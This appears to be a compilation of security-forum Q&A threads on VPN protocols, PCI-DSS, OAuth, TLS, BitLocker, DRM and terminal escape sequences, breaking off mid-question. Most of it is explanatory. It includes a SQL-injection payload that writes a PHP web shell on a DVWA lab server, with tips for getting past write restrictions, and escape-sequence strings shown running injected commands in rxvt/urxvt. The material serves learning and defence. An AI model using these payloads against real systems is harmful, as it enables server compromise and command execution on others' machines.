Should I tell my boss the company's VPN is not secure? I work in a small company and we have recently invested in a new server that provides VPN services.

I contacted the IT company in charge today in order to connect my laptop so I can work from home.
I asked for the protocol the VPN was using and they told me PPTP.

I know that this is a very old protocol and that its security is slightly compromised (by CloudCracker for example).

Now we don't deal with highly sensitive information and it seems hard to imagine someone who would invest time and money to compromise our data. But this is a threat that should be avoided I think.

My boss is quite an anxious person and I am hesitant to tell him about it to save him from going through all possible scenarios.

We are likely to change IT company soon.

What should I do?

This is a good question, and the answer to this precise question- "should I tell X that Y is not secure" is almost always "No." It's best to not give statements in a vacuum to a superior- provide context and explanations.

A boss needs actionable information and a framing to make a decision. No actionable information is conveyed in that particular choice of language, and no decision is presented. Furthermore, the terms "secure" and "not secure" have a useful meaning really only to security engineers, who understand that nothing is actually secure, and most things that are not-secure are may still be only rarely compromised, because there are so many not-secure things out there.

A better way to frame issues like this is to work through the implications and to convey the state of play as a decision that could be made. The decision here is whether to invest in changing to another protocol, perhaps through the change in IT providers.

A useful but not only way to frame a security investment decision is in terms of dollar spend on a form of insurance. There are many, many other consideration domains particularly in the context of security- regulatory and compliance, customer trust concerns that cannot be expressed in terms of dollars, and others. But in the same way that ROI is a useful common language to look at the investment and growth side of a business, insurance cost is a useful way to look at the risk side of a business.

Here, on the one side, one wants to look at the costs in dollars and time of doing an upgrade or transition, and the impact on the workflow.

On the other side, one wants to make an estimate of the costs of a breach. The basic process is to identify the potential outcomes of a breach, estimate the range of costs of dealing with them, and estimate the likelihood of them occurring within a particular timeframe.

This may seem like a lot to estimate, but all you want is a very, very rough ballpark of potential bad case scenarios, and for a small company with a small number of assets/customers/implications, one should be able to do that pretty quickly. All you really need to determine is if you talking about an expected loss of $1,000, $10,000, $100,000 or $1,000,000.

The cost of the upgrade is the insurance against the potential loss. A boss will be able to decide whether to get that insurance. If they do, great. If they don't, that's ok, too. If after the process you realize that some of the costs or risks were misunderestimated, as the saying goes, welcome to the club! Just continue the dialogue. The boss will appreciate it.

Good luck.


How to deal with MySQL's Errcode 13 when trying to write a shell My attack machine is running Kali and the server is running CentOS 6.4 with DVWA.

I'm trying to write a shell through an SQL injection. The payload is

' UNION SELECT '', '<?PHP system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/dvwa/shell.php';#

When submitting I get the following error:

  Can't create/write to file 'var/www/html/dvwa/shell.php' (Errcode13)

Searching the problem seems to be either privileges issue or SELinux. I have noticed that if I change the destination to './shell.php', the file is saved in the server on /var/lib/mysql, whose owner is mysql (the owner of /var/www/html/* is apache).

Assuming this is a remote server which I don't have access, how could I deal with this situation for successfully write the shell to /var/www/html/dvwa/?

This error is happening because MySQL does not have write privileges to this directory: /var/www/html/dvwa/.

Most modern Linux distributions use AppArmor or SELinux to isolate daemon processes.  It is likely that /var/www/ cannot be written to with MySQL.  However,  it maybe possible for MySQL to read from this directory.  This statement holds true for Ubuntu's AppArmor rule-sets at the time of this post.

I bypassed this limitation under Ubuntu by writing my PHP payload to /tmp,  and then used a Local File Include vulnerability to execute the payload.  This enabled me to write a remote code execution exploit for PHP-Nuke.


Anonymously Collect Information Online Is it possible to collect user information on our website without knowing any information (IP address, etc.) about our users?

For example, we've been presented a situation where we're supposed to collect information about possible security issues. And we're supposed to get that information without knowing anything about the user.

One option is a third-party host to collect the information, and then we get that information from that third party.

Is there another way?

You can offer your service on a Tor .onion site, with instructions on how to connect to it on a standard website. This will enable anyone who wants to remain anonymous to connect to your survey (or whatever) over the .onion site, which will make it impossible for you to figure out who they are based on their IP.

If you only allow people to take the survey through your .onion site, you'll probably lose a large number of people because they won't want to download the Tor browser just to fill out your survey. So, if regulations allow for it, what I'd do is offer your survey, or whistleblowing report, or security issue report, or whatever it is, through both a normal website reachable over https:// and an .onion site.

This is how wikileaks and (I think) the New York Times do it.

Edit: Correction: It's the Guardian I was thinking about, not the New York Times. See https://securedrop.theguardian.com/


How does DRM stop copying? I've been doing some research into some DRM solutions, specifically "self-protecting containers". One example of this is DigiBox. Normally, the protected data is encrypted in some kind of container. However, once the data is in use, it is decrypted in memory. What is stopping me from copying that data from memory and into another file on the harddisk?

For example, if I had some sort of Word document that is protected. Can't I click save-as? Or does some DRM solutions work with Word to stop this?

According to the E-book A survey of complex object technologies for digital libraries, DigiBox seems to be a container format that can contain different file types (although it was mostly used for PDFs). The basic concepts here are:

The file is encrypted in a way that it's relatively difficult to read without special software (i.e you can't just read these PDFs with any PDF reader, it has to be "DigiBox complient reader software")
The special software then goes to some lengths to prevent you from saving a copy of the file in a non DigiBox format, although you're right - it's not really feasible to protect the contents from being dumped out of memory by a seasoned professional.

  For example, if I had some sort of Word document that is protected. Can't I click save-as? Or does some DRM solutions work with Word to stop this?

You're right - the software that you're using to read the file needs to be complicit in the enforcement of DRM.

I think the main point here is not to make it impossible to break the DRM on the file, but to make it so difficult that the average (read: not technically skilled) person would rather just pay for it.


Unsolicited credit card in email? I work for an insurance company who will randomly (3-5 times per year) have a consumer who emails their credit card to our customer service department.  We don't ask for the number, they just send it over to "expedite" their transaction.

From a PCI-DSS perspective, how should this be handled by the customer service agent?  So far, all that I have come up with is "don't hit reply, create a new message", so we're not sending it back out.  However, should we be expunging this from our system?  Include a disclosure to the customer?

As a QSA, here is how I would expect you to handle this situation:

Have a policy, that is strictly enforced, stating that no card data
is to be sent or received via email.
Have a procedure in place to handle incidents of unsolicited
emails containing card data. This should include a process for securely
deleting the offending email, and notifying the customer of how to
properly transmit the payment information.
Implement a method to validate that the policy and procedures are
being followed. This can include:

Periodic scanning of your email server for credit card data.
Implement a DLP solution that will monitor your email server for offending data and redact it or not allow it to be sent or stored.

point #3 above is important when considering your PCI assessment. Your QSA will validate the scope of your CDE at the start of the assessment. Part of the scoping exercise may include cardhold data discovery scans, and an email server is a common offender when it comes to storing card data. If the QSA discovers card data on the server then it will be considered part of the CDE. This might cause some problems if you weren't expecting it to be included in the assessment, so the system might not be up to PCI standards. This also makes it difficult to prove that you are following your own policy.  A policy alone isn't enough to protect you from PCI requirements. It must be enforced as well.


RSSI of wifi device MITM detection Let's say there is someone doing some malicious activity on your network and you want to track the packet's signal strength to catch the attacker.

Is this theory plausible?

If the attacker and the valid AP are transmitting packets with significantly different RSSI (e.g., they are in different proximity from the client, or actually transmitting with different power levels, or there is an obstacle between one) then it is possible to fire-up t-shark or wireshark filter out the packets that come from APs with a given MAC address (both valid and malicious) and store the signal strength field. Then do conduct statistical analysis over time (e.g., median or better something more complex) and note whether the measure significantly deviates from normality. This MIGHT be an indication of something wrong e.g. presence of a fake AP, including MITM attack an Evil Twin etc.

With that being said if you try to replicate such an experiment you will immediately notice that the RSSI significantly fluctuates even if the experiment parameters relative location of the devices are unchanged. You will definitely need to apply all your statistical/ML knowledge to distinguish normal from abnormal traffic.


What is 1024 in "The length MUST NOT exceed 2^14 + 1024" in TLS? In RFC 5246,

Chapter 6.2.2:
Record Compression and Decompression: (page 21)

  The length (in bytes) of the following TLSCompressed.fragment. The
  length MUST NOT exceed 2^14 + 1024.

Chapter 6.2.3:
Record Payload Protection: (page 21)

  The length (in bytes) of the following TLSCiphertext.fragment. The
  length MUST NOT exceed 2^14 + 2048.

In this context, 2^14 means the length of TLSPlaintext.fragment. What does 1024 and 2048 mean?

These numbers don't “mean” anything, they're just numbers chosen to be sensible.

For compression, the reason is given just above:

  Compression must be lossless and may not increase the content length by more than 1024 bytes.

Since the content may be at most 2^14 bytes long, the compressed version of it may be at most 2^14 + 1024 bytes long. If a TLS endpoint receives a TLSCompressed fragment that is too large, it is allowed (and even expected) to terminate the connection, because the sender is sending it invalid data. This sort of limitation allows TLS endpoints to know the maximum amount of memory they will need to support a connection in the worst case.

For TLSCiphertext, a payload of at most 2^14 + 1024 bytes is encrypted. The result has some overhead (nonce, authentication tag, padding) that depends on the encryption method. This clause guarantees that no matter what the encryption method is, the overhead will never be more than 1024 bytes. (Actually the wording here does not guarantee this limit for the overhead when the payload is less than 2^14 bytes. There is an explicit guarantee in §6.2.3.3 for AEAD ciphers, but not for the other ciphers, which is probably an oversight.)


OAuth 2.0 client side redirect instead of HTTP redirect I'm implementing an OAuth 2.0 authorisation server using the Authorization Code flow (i.e. users will authorise client apps to connect to our server). The auth server is the same as the resource server and it runs Node.js. The resource server has an existing client side application that users will use to sign in which is written in Angular and all client-server communication is over AJAX.

This poses a problem with the standard flow which requires an HTTP POST to the authorization endpoint which then redirects to the client's redirect URL. If I do this post over AJAX then the redirect will be lost as an AJAX request can't redirect the user. If, on the other hand, I do it as a form POST then it takes the user out of the Angular app which leaves them in a weird place if there were any errors during the request (e.g. database is down).

My solution is to modify the server authorization endpoint so that instead of returning the redirect URL in the Location HTTP header, it returns it in the response body. The Angular app can then access the value and do the redirect using window.location (assuming no errors).

My (admittedly incomplete) reading of the OAuth 2 spec seems to suggest that this is permitted:

  HTTP Redirections

  This specification makes extensive use of HTTP redirections, in which the client or the authorization server directs the resource owner's user-agent to another destination. While the examples in this
  specification show the use of the HTTP 302 status code, any other method available via the user-agent to accomplish this redirection is allowed and is considered to be an implementation detail.

I would like to understand what the security implications of this change are, particularly with reference this exchange.

Your question is very confusing as it's not clear who you really are or think you are... So, let's revisit the OAuth2 protocol.

The roles

  OAuth defines four roles:

  resource owner :
    An entity capable of granting access to a protected resource.
    When the resource owner is a person, it is referred to as an
    end-user.
  resource server :
    The server hosting the protected resources, capable of accepting
    and responding to protected resource requests using access tokens.
  client :
    An application making protected resource requests on behalf of the
    resource owner and with its authorization.  The term "client" does
    not imply any particular implementation characteristics (e.g.,
    whether the application executes on a server, a desktop, or other
    devices).
  authorization server :
    The server issuing access tokens to the client after successfully
    authenticating the resource owner and obtaining authorization.

If we take stackoverflow as an example, the roles would be

resource owner : Kinda you but more your browser (strangely)
client : stackoverflow
resource server : facebook
authorization server : facebook

Who are you?

You start by saying that you are the resource server and then you say the resource server is using node and angular.

  I'm implementing an OAuth 2.0 resource server using the Authorization
  Code flow (i.e. users will authorise client apps to connect to our
  server). The resource server runs Node on the server and Angular on
  the client and all client-server communication is over AJAX.

It doesn't make sense. The resource server is basically a webservice that is called by other applications, the clients, in order to retrieve information. Why would you use angularjs which is built to create a web application in a browser when the things that will access it are other applications that have no concept of a browser at all.

Who are you really?

Random guess would be that you are the authorization server, or more specifically, in regard to your question, the authorization server mentionned in the section 1.3.1 Authorization Code.

  The authorization code is obtained by using an authorization server as
  an intermediary between the client and resource owner.  Instead of
  requesting authorization directly from the resource owner, the client
  directs the resource owner to an authorization server (via its
  user-agent as defined in [RFC2616]), which in turn directs the
  resource owner back to the client with the authorization code.

Now back to your question...

Yes you can do it without any problem. More specifically, your authorization server can return the redirect command to the browser which will then redirect to the right page using javascript. It doesn't change anything in the flow so there shouldn't be any issue.

Where is the confusion then?

It's simply that AJAX doesn't work instead of the redirect but here it's not what you are doing. The flow goes like this :

client redirects browser to authorization server
authorization server redirects browser to client

A common non-working idea is that you could replace those redirect an AJAX request from the client javascript to the authorization server and get your authorization grant. It doesn't work because of the same origin policy and the users wouldn't have a chance to confirm the authorization grant. But it's not your case here so let's forget about that.

Conclusion

The javascript in a page is really just an extension of the server (when using https). The only difference is that it's a public part instead of a private one like the server. It's a public part because the user can see all the code and all the data.  You can do nearly all your logic in the javascript code, which is what you are doing with angularjs.

The only parts that should never be in it are the things that the user should never know. For example, the client secret which is why the implicit (1.3.2) authorization grant flow was created. In your case, you don't process any information that the user should never know hence there is no problem.

Reference : https://tools.ietf.org/html/rfc6749


Are there any remote sites available to apply shellshock on? I'm a grad student. We're looking for a remote site to perform shellshock for educational purposes. Sites which are willingly vulnerable for ethical hacking purposes??

There were a few sites but they are no longer online. Your best bet is to grab a VM and perform the test locally. There's a good VM and Walkthrough available from PentesterLab - https://pentesterlab.com/exercises/cve-2014-6271


proxychains-ng with nmap issues Can anyone tell me if proxychains-ng has limitations to work with nmap? I found that it does not work well when using -sV option in nmap. (stop at "Initiating NSE at ..." and never finish the scan) Does anyone have a solution to this issue? By the way, I am using socks4 server for proxychains and default configuration file.(only changed local port).

Thanks.

I am not aware of any problems with the use of proxychains-ng and Nmap, but to be sure that Nmap is not trying to do any raw socket or packet capture operations that are incompatible with proxychains-ng, you should use the --unprivileged option. Additionally, since version 6.40, Nmap has supported proxies natively with the --proxies option, which covers the -sV option and NSE scripts, but not the host discovery, port scan, OS scan, or traceroute functions.


Using multiple oAuth identity services simultaneously This question is somewhat acedemic in nature.  While educating myself about the topic of Security via a Bearer Tokens for a back-end service that I am working on, and specifically about oAuth2, a few questions came up in my mind:

If you were to outsource the identity provider / authorization service, you create a dependency on that service provider.  How much of a pain would it be to move to a new oAuth2 service provider?
What if the service provider "fails" (disappears from the internet or have their systems compromised or changes their policies in a way that is incompatible with your requirements, etc)

As a way of reducing dependency it occurred to me that I might be able to configure the resource server to check every request to have two tokens, from two different service providers, eg SP-A and SP-B.

To do that your [client's] users would have to "be registered" at both SP-A and SP-B.  That would imply that during the sign-up process, users details would be submitted to and records created at both SP-A and SP-B.

Client developers will be impacted in that they need to develop their applications to register users with two oAuth providers, and must obtain Authorization codes from two providers. For end users the impact may be minimized, but if a client wanted to use users' existing OpenID IdPs to effect initial registration and sign-in authentication, the user would have to authorize TWO access to their data.

The one immediate benefit would be that you could then set a global flag in the back-end for each of SP-A and SP-B, to ignore/bypass that provider, should you need.

You could also use different policies, eg require a valid token from all oAuth providers, or from at least one oAuth provider, etc, depending on your requirements.

Of course one would always still have to check an Authorization Providers' credentials, track record, etc and try to evaluate the risks.

I'm not sure what you mean. Here are my two best guesses:

OAuth for authorization

OAuth allows a third party (you) to access a user's protected resources from a resource server (probably an API) after gaining authorization through an authorization server (the OAuth provider).

The OAuth provider is most likely the same organization that runs the resource server. If the organization disappears from the internet there's really no point in having a different provider to gain authorization to a non existent resource.
OAuth for authentication

There's also the chance that you are referring to using a third party identity service to authenticate users on your site.

If that's the case, you don't need to tie to a particular service, just use OpenID Connect and let your users choose whatever provider they prefer.

You can offer fast-track buttons for the most common providers, but you're not dependant on them.

Ah, the joys of federated services :-)

Let me know if I completely misunderstood the question.


How could someone change a root password without modifying `chage -l root` date? How could someone change the root password without changing chage -l root Last password change date? I know it was changed because it does not match the value in Keepass. I noticed when I tried to use su from a non-root account. My private key still worked. I updated many packages too if that matters (I had to restart sshd because it was not letting me in). OS is CentOS 6.5, on AWS EC2.

Assuming your system is using regular simple unix authentication, there's at least one way of changing a password assuming you have root access.

You can do this by simply editing the /etc/shadow file and pasting in a new password hash in place of the old one. This does not influence "chage -l" output as the change is done outside tools, so no other data (modification date etc) is modified.


Where is the Bitlocker key stored without the Trusted-Platform Module (TPM)? I've seen many Windows clients with Bitlocker installed without the Trusted-Platform Module (TPM) enabled. This requires manual changes in the Group Policy since by default it's not possible to enable Bitlocker without a Trusted-Platform Module (TPM).

The fact that you cannot enable Bitlocker by default without TPM seems like Microsoft discourages that for a reason.

It's possible to use Bitlocker without a TPM, so if full-disk encryption is used in such a way, where is the key stored and how secure is it compared to no full-disk encryption or Bitlocker with a TPM?

You have an option to store the key either on a disk (protected with a password) or on USB device. If plain storage devices are used, both are susceptible to a brute force attack. See this.


How does the government install a trojan horse on somebody's mobile phone? I am reading a news article (in italian) in which the police snooped on the Dean of a university by a trojan horse that the police had installed on his mobile phone.
In particular, the trojan horse transmitted face-to-face conversations (I think captured by the microphone of the mobile phone) to the police.
In another case some time ago (link, english, link english) the police were able to snoop face-to-face conversations between people by installing a trojan horse on the mobile phone of the suspect (and since there are transcripts of the conversation, I think the microphone capture those conversations).
In fact a police officer (link, italian) declared that "We don't use wiretaps anymore. We just install a software on the suspect's mobile phone and turn on the microphone".
How do governments get a trojan horse installed on suspect's mobile phones in the first place?
If you run Android, can they have for example agreement with Google that would have the trojan horse downloaded and installed automatically?

The police are not going to tell anyone exactly how they do something. And not every police force will do the same thing.
The options are:

exploit a vulnerability (just like the NSA's catalog of options)
supply chain infiltration ("download the latest update to your super-secret encrypted chat app!")
social engineering ("pssst. wanna do crime? install this and make big $$$").

I have seen articles over the years where different law enforcement agencies have done all 3 of those things.


Determining PCI DSS SAQ level I have a B2B SaaS that my clients then use with their own customers to gather data in a face-to-face scenario with iPads, I would like to expand it to take credit card details. The credit card details would be stored with a PCI compliant third party.

For the processing I could either have the credit card number go through my server (and connect to the third party mentioned above) or use another third party like spreedly.com to do transparent processing (where the credit card number doesn't touch my server at all).

As I'm defined as a service provider, and the volumes are low, then I think the only option is 'SAQ D for service providers'. It seems that is the strictest (and therefore greatest cost) of the SAQs, and that if I had that compliance then I could process the CC data on my servers and even store the CC data if I wanted to.

To me it seems strange I would need the same level of compliance if the CC data never touched my server as if I choose to store the CC data (or at least process it on my server)! So my question is have I got this right or am I missing something?

And apart from that, would my clients need to have some level of PCI compliance, since they would be collecting the CC data? Even though it would all be going through my system and the connected third parties.

Edit: I didn't mention that the money flow ends up in the clients bank not mine, if that makes sense. So I think the client would be responsible for ensuring they used a PCI compliant supplier and also their bank would dictate what compliance they would need to reach separate from me. So I would guess it's wouldn't be my responsibility to ensure the client has PCI compliance, but not sure.

If you outsource all cardholder data to a third party and you require compliance yourself, then the applicable requirements for SAQ A are applicable to you. While the PCI DSS consists of a large number of requirements (i.e. SAQ D), the vast majority of these will not be applicable to you if you do not handle cardholder data. Depending on volumes you may not qualify to complete a SAQ. In this case you'd have a complete Executive Summary in a ROC (Report on Compliance) and only those requirements applicable to you would be validated.

If you wish to transmit, process or store cardholder data, many of the requirements of the standard will be applicable for validation and the cost and time of compliance is increased though, ultimately, it may give you greater freedom (and expose you to greater risk).

If your clients handle cardholder data, they need to be compliant. If they outsource this to you, you need to demonstrate to them you are compliant. You, of course, can further transfer this to another compliant third party. e.g. merchant A can use service provider B who uses service provider C to handle merchant A's cardholder data. In this case, the merchant and both service providers need to be compliant though only a single entity, service provider C, handles cardholder data.


Are WoSign S/MIME certificates generated on the server side and therefore unsafe to use? WoSign has been in the media for offering free server and client certificates. Since one of my (free) S/MIME certificate from another CA is about to expire soon after one year and WoSign offers certificates, which are valid for thee years, I applied for their certificate, because I hoped to be able to skip the re-creation of new certificates in the next years.

During the process I wondered, why there was no indication from my browser, that it was creating a key pair, as I am used to from my last applications at different CAs. When the process was finished, a PFX file was offered for download. No need to export the certificate from the browser certificate storage.

According to their policy (in chapter 3.2.1), they offer to generate a private key for their subscribers. I understand, that this should be avoided, because nobody except the owner should ever be in possession of a private key. While they state, that subscribers may also choose to create own private keys and CSRs for server certificates, they don't make any statement about creating the private key for client certificate in another way.

Is my assumption correct, that the private keys used for their client certificates are really created on the server side, and is it correct, that (while they claim they don't) they could keep it and use it to decrypt/sign messages, exactly as the subscribers could do with their certificate? This should be totally unacceptable, because one would have to trust them, that they delete the private key, that they should not even had in the first place. But since I was unable to find any criticism about such an issue with their client certificate issuing process, I might have gotten something wrong.

These certificates are of very little value. First of all, allowing them to generate the private key is very questionable. We have no details on how they do this or whether they retain this information - for all we know, they use the same private key for all certs or retain the key information, which may not be done in a secure manner (imagine what a rich target that datbase would be!).

the other problem with this service is that it has very weak vetting processes. The only real benefit of using a certificate service is to give your certificate an additional level of trust. If I receive an email or visit a site with a certificate, the degree to which I will trust that certificate is determined by the level of trust I have in the issuing authority. Certificates issue by this 'authority' have an extremely low level of trust because the issuer does not do any real vetting to ensure the certificate is being issued to the 'real' site or address owner.

Essentially, all this service is doing is making it easy for someone to get a certificate who doesn't want to learn how to create their own certificate using something like pgp. Of course, certificates you create yourself don't have much trust, but that is why you would normally grow that trust through key signing parties or using a recognised CA which does adequate vetting. Combine that with the fact you don't know who has access to the private key (assuming you allow the site to generate that data) and the certs provided by this service are possibly even less trustworthy than even a self signed certificate.


when defining constants, is #define more secure than static const? I want to have some constant values in my program, for example, I have a constant value TimeLimit in a header which is commonly used in other classes, but I don't know if

#define TimeLimit 30

is more secure than

static const int TimeLimit=30;

Originally I want to use static const because it can cause less compile time when the value is changed, but after consideration of security I suspect if I should #define to improve security.

is it true that #define is more secure than static const because:

"#define" is embedded in compiled code, while static int leaves a variable in memory, which a user can change the value of TimeLimit in memory content easily
If using static const, it is easier for user to know the value of TimeLimit because extracting the value from memory is easier than extracting from compiled code.

is that right?

static const is more secure, but not for the reasons you're thinking of.  It permits the compiler to perform type checking, which will catch a class of bugs that #define won't permit it to catch.
In regards to your specific concerns:

"#define" is embedded in compiled code, while static int leaves a variable in memory, which a user can change the value of TimeLimit in memory content easily
If using static const, it is easier for user to know the value of TimeLimit because extracting the value from memory is easier than extracting from compiled code.

In theory, this is true.  In practice, every compiler in current widespread use will compile the two cases identically (give or take type-inference rules).  In my testing with GCC, both a #define and a static const turned into the following assembly:
movl    $30, %eax

ie. move the literal value 30 into register EAX in preparation for performing an operation on it.
Now, there is one exception to this: if you're compiling with debug information, a static const value may be present in the debugging information where a #define will not.  But you shouldn't be shipping debugging versions of software to anyone you don't trust -- or most people you do trust, for that matter.


Can "cat-ing" a file be a potential security risk? I often use cat on the console to view the contents of files, and every now and then I accidentally cat a binary file which basically produces gibberish and system beeps. However today I've encountered a situation where the output from the cat utility got redirected to the console input so I got stuff like this:

-bash: 2c: command not found
-bash: 1: command not found
-bash: 1: command not found
-bash: 112: command not found
-bash: 112: command not found
-bash: 1: command not found
-bash: 0x1: command not found
-bash: 2c1: command not found
-bash: 2c: command not found
-bash: 1: command not found
-bash: 1: command not found
-bash: 112: command not found
-bash: 112: command not found
-bash: 1: command not found
-bash: 0x1: command not found
-bash: 2c1: command not found
-bash: 2c1: command not found
-bash: 2c1: command not found
-bash: 2c1: command not found

...
...

This got me thinking that a specifically crafted binary file could create quite a mess on the system?!... Now I do realize using cat recklessly like this is not particularly smart, but I would actually like to know what is going on here. What characters produce the effect of suddenly dumping the content on standard input...

Note: I was in Mac OS X terminal while doing this, I've actually called diff -a to compare two firmware rom images and print the differences out(I thought there would be just a few bytes of differences but there where almost 8 MB of differences printed to the screen) Later I tried, on purpose, to cat one of the files and got the same effect like I've pasted here.

- UPDATE - - UPDATE - - UPDATE -

I've posted this here late at night yesterday and this morning I tried to replicate the behaviour and I can not. Unfortunately I can not be sure if some escape characters caused the gibberish from the binary to be executed on the console automatically or if at the end of the cat I just got a bunch of characters left(as If I've pasted them) on the command line and I've probably pressed enter accidentally to get a clear line...

When I try to cat the file in question now I get this when it completes(scroll right to see):

D?k(Fli9p?s?HT?78=!g??Ès3?&é??  =??7??K?̓Kü<ö????z(;???????j??>??ö?Ivans-MacBook-Pro:FI9826W-2.11.1.5-20140121 NA ivankovacevic$ 1;2c1;2c1;2;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c;1;1;112;112;1;0x1;2c1;2c;1;1;112;112;1;0x1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c

My actual prompt is:

Ivans-MacBook-Pro:FI9826W-2.11.1.5-20140121 NA ivankovacevic$

Where:

FI9826W-2.11.1.5-20140121 NA

is the current working dir.
As you see it was camouflaged in the binary gibberish and I might have pressed enter reflexively or something. This in itself is a bit wrong of cat because obviously my prompt might have been even better "camouflaged." But it is less serious than I initially thought. Although I'm still not 100% sure that it did not execute automatically last night when I tried, because there was also another peculiar thing that happened last night, before this. I've called cat on another very similar file that caused Terminal app to quit with:

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x00007fcb9a3ffffa

Now I'm thinking that maybe a combination of these two events have caused the auto execution of gibberish on the console. But I can not replicate that behaviour again.

The files in question are firmwares for a Foscam IP camera, here are the links:

International site:
http://foscam.com/Private/ProductFiles/FI9826W-2.11.1.5-20140120.zip
And then the file inside: FI9826W_app_ver1.11.0.40_OneToAll.bin

calling cat on that one will cause Terminal to quit.

US site:
http://foscam.us/downloads/FI9826W-2.11.1.5-20140121%20NA.zip
and then the file: FI9826W_app_ver1.11.0.40_OneToAll_A.bin

cat-ing that one will cause that paste of 1;2c1;2c1;2;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c.... characters on the command line

Yes, it's a potential risk, see CVE-2003-0063, or CVE-2008-2383 or CVE-2010-2713, or CVE-2012-3515 or OSVDB 3881, or CVE-2003-0020 or any of the similar ones listed here... Some more in comments below also.

Update it's not just a potential risk, it's a real risk.
rxvt-unicode (versions 2.7—9.19,  patched in 9.20) allows read/write access to X window properties, this can enable user-assisted execution of arbitrary commands, this issue has been assigned CVE-2014-3121, more details here https://bugzilla.redhat.com/show_bug.cgi?id=1093287 .

More recently (October 2019) iTerm2 versions up to v3.3.5 were found to have the same class of problem: display of malicious content can enable the integrated tmux and permit command execution, see CVE-2019-9535.

This topic also has good coverage here: https://unix.stackexchange.com/questions/73713/how-safe-is-it-to-cat-an-arbitrary-file and a thorough analysis of the underlying problem from Gilles here: https://unix.stackexchange.com/questions/15101/how-to-avoid-escape-sequence-attacks-in-terminals .

Explanation

What you are observing is a side-effect of how certain escape sequences behave: some of them stuff characters (usually also containing escape sequences) directly into the terminal input buffer. All in the name of backward compatibility, of course. The standard xterm escapes which are described using  the term "Report <something>" do this. This behaviour permits programs to query/set terminal (or other) properties "in band" rather than via ioctls or some other API.

As if that wasn't bad enough, some such sequences can contain a newline, which means that whatever is reading from the terminal (your shell) will see what appears to be a complete user command.

Here's a neat way to use this, with bash's read to print an escape (as a prompt) then immediately read and split the reply into variables:

IFS=';' read -sdt -p $'\e[18t' csi8 rows cols
echo rows=$rows cols=$cols

These sequences can vary by terminal, but for rxvt and derived, the graphics query escape includes a newline (example using bash and $'' strings, see doc/rxvtRef.txt in the source)` :

$ echo $'\eGQ'
$ 0
bash: 0: command not found

This escape sends \033G0\n into the terminal input buffer (or digit 1 instead of 0 if you have a graphics-capable rxvt).

So, combine this escape with other sequences which behave similarly:

echo $'\x05' $'\e[>c' $'\e[6n' $'\e[x' $'\eGQ'

for me this causes 11 attempts to run various commands: 1, 2c82, 20710 (my rxvt version string), 0c5, 3R (5 and 3 were the cursor coords), 112 and 0x0.

Exploitable?

With rxvt and most recent terminal emulators you should "only" be able to create a limited set of mostly numeric sequences. In old terminal emulators it was possible (some CVEs listed above) to access the clipboard, the window icon and titlebar text to construct more malicious strings for invocation (one current slight exception is if you set the answerbackString X resource string, but that cannot be directly set using this method). The flaw then is allowing arbitrary read and write access to  something that passes for state or storage within escape sequences that stuff data into the input buffer.

rxvt requires compile time changes to activate, but urxvt helpfully has an -insecure command line option that enables some of the more exciting features:

$ echo $'\e]2;;uptime;\x07' $'\e[21;;t' $'\eGQ'
bash: l: command not found
17:59:41 up 1448 days,  4:13, 16 users,  load average: 0.49, 0.52, 0.48
bash: 0: command not found

The three sequences are:

\e]2;...\x07 set window title;
\e[21;;t query window title, place in input buffer;
\eGQ query graphics capability, which adds \n to input buffer.

Again, depending on terminal, other features such as font size, colors, terminal size, character set, alternate screen buffers and more may be accessible though escapes. Unintended modification of those is at least an inconvenience, if not an outright security problem. Current versions of xterm restrict potentially problematic features via "Allow*" resources.

CVE-2014-3121

Prior to v9.20, urxvt did not also guard read and write access to X properties (mostly used by window managers). Write read access (or more precisely, access to sequences which echo potentially arbitrary strings) now requires the -insecure option.

$ echo $'\e]3;xyzzy=uptime;date +%s;\x07'
$ xprop -id $WINDOWID xyzzy
xyzzy(UTF8_STRING) = 0x75, 0x70, 0x74, 0x69, 0x6d, 0x65, 0x3b, 0x64, 0x61, 0x74, \
0x65, 0x20, 0x2b, 0x25, 0x73, 0x3b

This can be trivially used to stuff arbitrary strings into the terminal input buffer. When the escape sequence to query a property is invoked (along with helpful \eGQ which adds a newline):

 $ echo $'\e]3;?xyzzy\x07' $'\eGQ'
 $ 3;uptime;date +%s;0
 bash: 3: command not found
 17:23:56 up 1474 days,  6:47, 14 users,  load average: 1.02, 1.20, 1.17
 1400603036
 bash: 0: command not found

Multiple commands, preserving whitespace and shell metacharacters.
This can be exploited in a variety of ways, starting with cat-ing an untrusted binary of course, further ideas in H.D. Moore's short paper (2003).

Followup

For the escape sequence you ask about: 1;112;112;1;0x1;2
This is: Request Terminal Parameters (DECREQTPARM) and Send Device Attributes :

$ echo $'\e[x' $'\e[0c'
;1;1;112;112;1;0x1;2c

The second one (\e[0c) is the same as ^E (using rxvt). There are some escape sequences in there too. the full sequence written for each is, respectively:

\e[1;1;1;112;112;1;0x
\e[?1;2c


How to encrypt user data in app using Google Sign-In I am currently writing an application which needs to store user data encrypted in the database. One of the requirements is that some of the data stored in the database needs to be encrypted in a way that we (the database administrators, with full read access to the raw data in the table) can not decrypt it. Clearly, we need to encrypt this data using a private key derived from some user-supplied information which we are unable to see. We will store the public key of this pair, and use it to encrypt any data which needs to be added to their account.

Unfortunately, I don't know how to obtain a private key pair for the user. We use Google Sign-In for our application, and thus the user does not have a password. What other information can I use as the input for a KDF to derive an encryption key for the user?

Here is the information I recieve when the user authenticates via Google Sign-In:

{
  // These fields vary each time the user logs in
  "at_hash":"XXXXXXXXXXXXXXXXXXXXXX",
  "aud":"XXXXXXXXXXXX-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.apps.googleusercontent.com",
  "azp":"XXXXXXXXXXXX-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.apps.googleusercontent.com",

  // This is general user information which we need to know
  // These can not be used as the KDF input because we also need
  // to know the plaintext values as well
  "email":"example@example.com",
  "email_verified":true,
  "name":"John Doe",
  "given_name":"John",
  "family_name":"Doe",
  "locale":"en",

  // This value can change if the user changes their profile picture
  // Also, it's not really a secure KDF input...
  "profile_picture": "https://example.com/xxx/profile.png",

  // This value is the user ID. We are already using it as the database primary key.
